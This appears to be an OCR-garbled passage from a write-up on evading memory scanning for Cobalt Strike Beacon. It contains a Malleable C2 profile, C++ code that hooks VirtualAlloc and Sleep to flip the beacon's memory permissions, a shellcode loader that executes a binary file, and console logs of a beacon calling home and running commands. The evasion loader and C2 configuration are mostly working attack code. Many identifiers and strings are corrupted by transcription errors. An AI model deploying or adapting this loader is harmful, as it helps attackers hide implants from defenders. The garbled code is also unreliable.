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# default sTeep time 1is 60s
set sleeptime "60000";

# jitter factor 0-99% [randomize callback times]
set jitter "o";

# maximum number of bytes to send in a DNS A record request
set maxdns 255"

# indicate that this 1is the default Beacon profile
set sample_name "Cobalt Strike Beacon (Default)";

# define indicators for an HTTP GET

http-get {
# Beacon will randomly choose from this pool of URIs
set uri "/test";

client {
# base64 encode session metadata and store it in the Cookie header.
metadata {
base64;
header "Cookie";

}
}
server {
# server should send output with no changes
header "Content-Type" "application/octet-stream";
output {
print;
}
}

3

# define indicators for an HTTP POST
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http-post {
set uri "/test.php";

client {
header "Content-Type

application/octet-stream";

# transmit our session identifier as /submit.php?id=[identifier]
id {
parameter "id";

# post our output with no real changes
output {
print;

# The server's response to our HTTP POST
server {
header "Content-Type" "text/html";

# this will just print an empty string, meh...

output {
print;
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hEvent = CreateEvent(NULL, TRUE, false, NULL);
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LONG NTAPI FirstvVectExcepHandler (PEXCEPTION_POINTERS pExcepInfo)



printf("FirstvectExcepHandler\n");
printf ("SRG :%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("Z&RHibE:%11x\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 &&
is_Exception(pExcepInfo->ContextRecord->Rip))
{
printf("kEBeaconNFEEME\N");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE,
&Beacon_Memory_address_f101dProtect);
return EXCEPTION_CONTINUE_EXECUTION;
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return EXCEPTION_CONTINUE_SEARCH;

AddvectoredexceptionHandler(l, &FirstvectExcepHandler);
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static LPVOID (WINAPI *OldvirtualAlloc) (LPVOID 1pAddress, SIZE_T dwSize, DWORD
f1AllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD
f1AllocationType, DWORD flProtect) {

Beacon_data_len = dwSize;

Beacon_address = 0ldvirtualAlloc(lpAddress, dwSize, flAllocationType,
flProtect);

printf ("4t K/N:%d", Beacon_data_len);

printf("/hcHik:%1T1x \n", Beacon_address);

return Beacon_address;

static VOID (WINAPI *01dSTeep) (DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMiTT1iseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sTleephfla]:%d\n", dwMmilliseconds);
SetEvent(hEvent);
oldsleep(dwmilTliseconds);
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void Hook()

{
DetourRestoreAfterwith(); //iifh HE S HOOK
DetourTransactionBegin(); // JFifHOOK
DetourUpdateThread(GetCurrentThread());
DetourAttach((PvoID*)&01dvirtualAlloc, NewvirtualAlloc);
DetourAttach((PvoID*)&0TdSleep, NewSleep);
DetourTransactionCommit(); // $&7ZHOOK
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DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("'Beacon_set_Memory_attributes/izi\n");
while (true)
{
waitForsingleobject(hEvent, INFINITE);
printf ("% &Beacon W47 @ AT HAT\n") ;
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE,
&Beacon_Memory_address_f101dProtect);
ResetEvent(hEvent);
}

return 0;

HANDLE hThreadl = CreateThread(NULL, O, Beacon_set_Memory_attributes, NULL, O,
NULL) ;
CloseHandle(hThreadl) ;
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unsigned char *BinData = NULL;
size_t size = 0;

/ /s T mTest. bing a1 67 Bl A =190

char* szFilePath = "C:\\Users\\WBG\\Downloads\\Test.bin";

BinData = ReadBinaryFile(szFilePath, &size);

shellcode_addr = virtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE) ;
memcpy (shellcode_addr, BinData, size);

virtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE,
&Beacon_Memory_address_f10ldProtect);

(*Gint(*)() shellcode_addr)(;
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Cobalt Strike View Attacks Reporting Help
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external |inter.. =~ |listener |user computer | note process | pid arch last

‘m 192 16... 192.16.. test

[04/03 21:22] neo [lag: 00]

event>

| Test.bin

Event Log X | Beacon 192.168.1.173@436

on> sleep 30
[*] Tasked beacon to sleep for 30s
[+] host called home, sent: 16 bytes

[DESKTOP-K65VOTB] WBG/436 (x64)
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EventLog X | Beacon 192.168.1.173@436 X

[*] Tasked beacon to sle for 60s

[+] host called home, sent: 16 bytes
beacon> shell ipconfig

[*] Ta d beacon te run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output
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[DESKTOP-K65VOTB] WBG/436
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